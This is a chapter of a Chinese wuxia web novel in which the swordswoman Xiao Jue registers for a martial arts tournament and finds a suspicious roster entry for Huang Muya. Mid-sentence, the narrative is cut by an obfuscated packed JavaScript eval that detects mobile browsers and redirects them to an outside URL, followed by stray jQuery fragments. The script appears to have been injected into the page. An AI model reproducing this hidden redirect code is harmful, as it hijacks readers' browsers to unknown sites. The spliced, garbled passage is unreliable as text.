13. 武道大会

作品:《玉袍长剑堪风流

    雾气又笼罩在江都的清晨。


    萧诀悄悄溜进客栈,带着一身朦胧的水汽和困倦的睡意。她又在打哈欠了,而且睡眼惺忪,迷迷糊糊地向楼上走去。


    雷独春就在二楼的长廊边看她。


    她抱着猫,手肘压在栏杆上,神情却并无晨起的倦怠,只是笑着,眉眼温和地问道:“又出去了?”


    萧诀“唔”了一声。


    她是连夜骑马从射阳县赶回来的,能在星星、月亮和轮转的昼夜风光中疾驰,确实是一件很有趣的事情啦,可是她也确实有一点点困,因为人总是要休息的。


    雷独春与她多年好友,此时便不用伪装什么,所以她直接点了头,走到对方身边狠狠摸了一把眯眼小憩的蝉奴。


    它倒是睡得很香,尾巴轻轻地扫在人的臂膀上,可萧诀这样一摸,睡得再好的小猫也要喵喵叫了。


    蝉奴就愤怒地喵喵叫了两下。


    它的毛抖擞了一阵,又很快软趴趴地倒伏下去,似乎忘记了刚才发生的一切,转而寻找了一个新的惬意的姿势趴伏着。萧诀又笑着打了个哈欠,她拍了拍这昏昏欲睡的小猫,衣袖便也拂过雷独春的身侧,外界的风霜雨雪和秀丽山河一同拂过人与猫的身侧。


    萧诀向雷独春与蝉奴眨了眨眼,她轻声道:“我要回去睡一会儿啦,待会儿见。”


    蝉奴喵了一声。


    远行归来的剑客脸上挂着轻柔的笑意,她的剑柄上挂了一条新穗子,铃铛轻轻地响。这是她在射阳为蝉奴购置的一个小玩意儿,铃铛高高地拿起,小猫的眼睛便也高高地看,又笨又执着地喵喵叫。萧诀弯着腰逗弄了一会儿,眼中含着笑,她总是对自己捡回来的事物抱有独特的耐心。何况这是世上顶顶好的一个小猫了,萧诀这样想着,直起腰将铃铛塞进了它的怀里。


    蝉奴紧紧抓着它的新玩具,而萧诀向着雷独春笑,她的身形逐渐消失在了幽深的走廊,最终没入到某一间枯燥的房间之内。


    她现在的心情很好,于是连休息都带着些愉悦的期待,至于射阳水域里呆头呆脑的人,又有谁在乎呢?


    雷独春轻轻叹了一口气,她举起蝉奴,眼睛和它茫然的瞳孔对视着。


    “你啊你,”女人苦恼地用鼻尖蹭了蹭小猫的鼻子,小猫什么也不懂,它的爪子拨弄着穗子与铃铛,嘴里是新的喵喵叫的回复。


    雷独春便也摸了摸它的头。


    太阳慢吞吞地移动着,窗外时而风时而雨,时而晴空万里,天气是茫然不定的,可雷独春望了一会儿,忽然决定也回去再休息一会儿。


    她的睡眠时间总是很稀少的,因为夜晚是一个给人以噩梦、怨恨和不得安宁的时刻。其实今天她很早就出了房门,蝉奴想要玩,雷独春也没什么事可做,就抱着它漫无目的地走。


    她们在门外刚好遇到了一个晚来的归人。


    因为萧诀的神情是那样困倦,蝉奴也常常眯着眼,所以雷独春思索了一会儿,竟然也觉得睡觉是一件十分香甜的事了。不管怎么说,天色尚早,她还有选择的权利。


    人与猫重新躺回到了帷幕之中。


    扬州的今天与过往并无任何分别,人群来来往往,小贩挑着担子走街串巷,等那卖糖水儿的叫卖声传到萧诀耳边的时候,已经是日上三竿的光景了。


    她坐起身揉了揉眼,洗漱后推开窗,看到街道上亘古不变的繁忙人流。


    今天的天气不大好,太阳暗沉沉的,可是大家都还在按部就班地生活,萧诀想了一会儿,忽然意识到这已经是这个月的第二天了。


    武道大会要开始了。


    这是几十年前才兴起的江湖盛事。大概六十年前,东流客立起无名居的酒旗,自号是天下第一人,那时武林豪杰多有不服者,又因觉得车轮战太过卑鄙,便约定彼此先做切磋,由最强的一人独自前往。当然,他败了,可这规模盛大的切磋比赛却留下许多令人津津乐道的传说。


    后来的人虽然对成为天下第二不感兴趣,可却十分珍惜能与其余豪杰争锋的机会,于是那些年也陆续由各大门派牵头,小打小闹似的办过几回。


    武道大会再次兴起,成为九州诸国武林的盛事,则是从前游龙山庄的功劳。那时游龙山庄地处洛阳,位居四海之中,每隔五年就拿出一柄神兵利器作为奖品,邀约诸侠共襄盛事,来往参加大会的人称得上成千上万。后来又因为五年太过漫长,应一些少年天骄的要求,有了所谓三年一次的小比和五年一次的大会,渐渐形成了当今的规模。


    不过时下并没有武林盟主的说法,常人的话本总是将这类赛事描述得慷慨激昂,甚至有武道大会第一名可以统率武林,折服群英的说法。但事实上,这只是一个能展示各派家学的普通台子,也许会比草莽贼寇更加精彩,也许会有世仇双方趁机争斗,但因为有各方监督,并不会出现多么可怕的场景。


    这是留给少年人堂堂正正比拼的舞台。


    历年以来,东南西北中五域名门都会亲赴此地,要说号召天下,一人之力并不能使天下臣服。可如果要扬名,武道大会欢迎每一个冉冉升起的新星。


    萧诀应当是要熟悉这些的,可她只是站在临街的窗口,发了很长时间的呆。


    剑阁的弟子已经陆陆续续出发了,人群对一些“大”门派或者“大”势力总是有优待,水云宗为剑阁和天一阁弟子提供了一块练剑的地方,有些勤奋的弟子早起要练剑,顺便就在那报了名。


    水云宗在外面拉了长长一溜桌子,他们的服制是很宽松很风流的淡粉色襕衫,眉心的抹额顺着脑后的发带一同飘荡,弟子级别则依靠抹额中的图案判定。登记虽说是很简单的一件事,出示宗门信物或相关凭证即可,有门派的就放上弟子令牌,填一张空着姓名、年龄和师承的纸张,没门派就稍繁琐一些,要在一条更长的队伍排很久,和登记的弟子证明你至少会一些武功。


    因为从前有很多人看到长长的队伍就来排队了,闹了不少乌龙。大家总在凑热闹似的往前挤。


    萧诀所在的客栈位置极好,能从窗边远远望到一些那边的情况。前几天的轮次基本就是随机抽签、叫号,各个名门大派中的首席有单独的排序,其余弟子与无门无派的散人则混作一团。这也是每次武道大会最混乱的时候,成千上万人聚集在一起,既要维持治安,又要在这些人中决出真正参赛的一百人。


    人一多,是非就多,稍有不顺就闹事的、仗势欺人的、为非作歹的,整个擂台周围吵吵嚷嚷,要持续好几个轮次的时间。


    游龙山庄灭亡之后,武道大会就变成了东西南北中五域名门轮流承担的责任。水云宗弟子大多性情温和,最喜欢安安静静钻研诸子百家,他们的建筑风格也是静谧的、唯美的,此时仓促之间接待了一万多只鸭子,好像人脑袋和房脑袋都要一起炸了似的。


    萧诀看那山水画一样的门派驻地近乎笼罩了遮天的乌云,上上下下都是绝望的心绪,一时竟生出些许的好笑。


    天一阁早些时候就全都去了,原本水云宗是想着体谅他们残废的少阁主,直接把名单和号码送过来的。可雷行川来之前发了话,要雷松陈多露脸,一行人就只能沉着脸出去走一圈,雷独春倒是笑吟吟的,可外面的人都说这一家是全疯了。


    坐在最前面登记的水云宗弟子也快要疯了,是忙疯了。萧诀来的时候,那人落笔的速度飞一样地快,有时忙到昏头转向,草草蘸两下墨水就继续提笔,袖子上都沾了墨,还有人在写字之余咬一下笔杆,不必抬头也看得出心里的焦虑。


    排队的人也等得急躁,这地方虽然算得上僻远,可因着动静太大,街头巷口还是引来些探头探脑的孩子。


    生活乱糟糟地继续着。


    各个大门派的首席弟子是有专门的登记通道的,萧诀拨了下腰间的信物,找到那个拐角处的房屋独自走了进去。


    剑阁首席的信物是一把小剑,剑的形制不一,铸剑师铸剑之前,会询问当代首席想要一把什么样的剑。有人志在天下,于是刻赤霄、泰阿之制,有人志在高洁,于是有湛卢、龙渊之说,可萧诀的信物就只是拂云剑自己。铸剑师问她想要什么样的剑,她思来想去,认为自己已经得到了一切,人的志向不一定要依赖某物的传达,何况拂云将来未必不能成就这样的伟业。


    萧诀就是这样一个自信、甚至自负到了一种傲慢的剑客。


    总之现在,拂云小剑成为了她的印章,她与她的剑共同在武道大会的纸张上面留名,等待一个隆重登场的契机。


    里面登记的弟子倒不是专司此事的,因为江湖上排得上号的宗门就那么多,过来的人一掀帘子,外边全都看得清清楚楚,他们都是在外面帮忙的,等来了人才随便捉一个上岗。水云宗的弟子几乎是倾巢而动了,全都忙得不可开交,见有人进去,在外头搬着卷宗疾走的人赶紧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929947|192787||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    放下东西一擦汗,又慌慌张张跑过来。


    屋门是大敞的,珠帘微微晃着,画卷追求写意,水云宗的建筑也是如此,珠帘一沉,庭前的湖光山色就都框进了这一条条乳白色的微波之中,风吹水动,得见涟漪。


    萧诀在门内站着,隔着珠帘见那门外的人紧急扯了两下衣袖,喘匀一口气才大步流星地走进来。水云宗的人总是很注重仪态,而且讲礼貌,那弟子一进来,步子还没停,人先微微拱手致意,说道:“这位师姐,劳您久等了。”


    萧诀摆了摆手,其实他们不过是前后脚进门的差别,可对方还是坚持道了歉,又是泡茶又是亲自找笔墨,称得上十分尽心尽力。


    水云宗的建制与其余宗门不大相同,它门中弟子分文武两院,文院主书画,在宗门附近兴有义学、书院等等,武功虽低,却是宗门与外界交流的密切通道,武院则顾名思义,是宗门在江湖中立世的根基。两院互相敬重、彼此学习,做事时并不分你我,今天进来的这个弟子,抹额上绣着一枝一枝的寒梅,俨然便是出身文院了。


    他待人接物也十分温和,手上约莫是久握画笔留下的茧印,萧诀填好东西时,便听他讲起今日上午已来报过名的各个宗门。


    “洛阳那边还没有来人,天子定都之后,那边的武林势力是一日日地衰微了,如今似乎并没有什么叫得上号的人物。西域昆仑宗、北境寒山门、蜀中天一阁,还有师姐您所在的剑阁,都已经整理完毕了。东海、会稽两地也是递过消息的,听宗主说是要来,可今天还没看到人影,许是哪里耽搁了。”


    “其余一些多是江湖中刚刚兴起的了,便不说来入师姐的耳了。”那个人温和地笑道,他整理好萧诀的单子,又忽然想到什么,从旁边书架上呈放的卷宗里找到剑阁那一册,单独递给萧诀,“今早有几位剑阁的师弟师妹来练剑,顺道记了信息,当时文院弟子还没有备好号码场次,就约了下午来取。弟子偷偷懒,不知能否请求师姐顺道将这卷宗捎回去?”


    这当然没什么不可以的,剑阁上下都住在同一间客栈,回去敲敲门的事儿,师弟师妹也不必再跑一趟,举手之劳而已。


    萧诀自然点了头,接过这卷宗,书册是不厚的,剑阁此次来报名的约有百人,都是往日熟知的名字,她既然拿到了手上,就也顺便翻开扫了眼,可这册子从右到左第一个名字,偏偏叫作荒木涯。


    萧诀的视线便顿了顿。


    她又翻后去,大致将师弟师妹们的号码、场次都看了一下,心里有个成算。除了多出来的这一个,人数也是对得上的。


    萧诀又翻回第一页来,登记的人字体很不错,小楷端端正正:“剑阁第十九代弟子荒木涯,领一千六百九十三号,明日巳时登地字甲擂台。”


    这册子上要写的其实有很多,如姓名、年龄之类的基础信息,还有善用兵刃、武学家传、历代师承、籍贯、驻地等等江湖凭证。后面几位弟子的名录都是一目了然的,唯独写在第一个的这个人只有名字、代系与号码、场次,简单到像是凭空捏造。


    水云宗整理卷宗的弟子许是也有疑惑,姓名下点了三道小小的墨水,这是存疑和重点观察的意思。因为从前有人冒名顶替某宗弟子,与另一门派发生恶性冲突,双方护短心切、又有宿仇,直接就借机打了个天昏地暗,最后才发现是被人刻意引诱。


    有世仇的人才不会因为这种理由就停战,可这消息传到外界毕竟不好听,说几方人马都被一个小贼耍得团团转?后来这事便严格了一些。


    旁边登记的弟子在收拾其余卷宗,萧诀没改这名录,只是假装没看见,与他告了别,卷起书册径直地离去了。


    萧诀为荒木涯做担保当然是一件很简单的事情,可剑阁首席要为青煞做担保,就有些难度了。


    她并没有在事态未明的时候就做决定的习惯,剑阁虽然崇尚好勇斗狠,是一个算不得安稳的地方,可毕竟有些人待她不错,成为首席后又只能见到笑脸,这些年过下来并没什么怨恨可言。既然说不上恨,那么作为首席,她就有必要重视宗门上下全体的荣誉。


    这并不是什么可以随意掷出的筹码。


    萧诀一甩一甩晃着她的拂云小剑,慢悠悠向客栈走去。日光又毒辣地出现了,晴空也有不一样的浓度。


    荒木涯总要做一个解释,而客栈一定会有一副面具。


    所以,萧诀一点也不着急。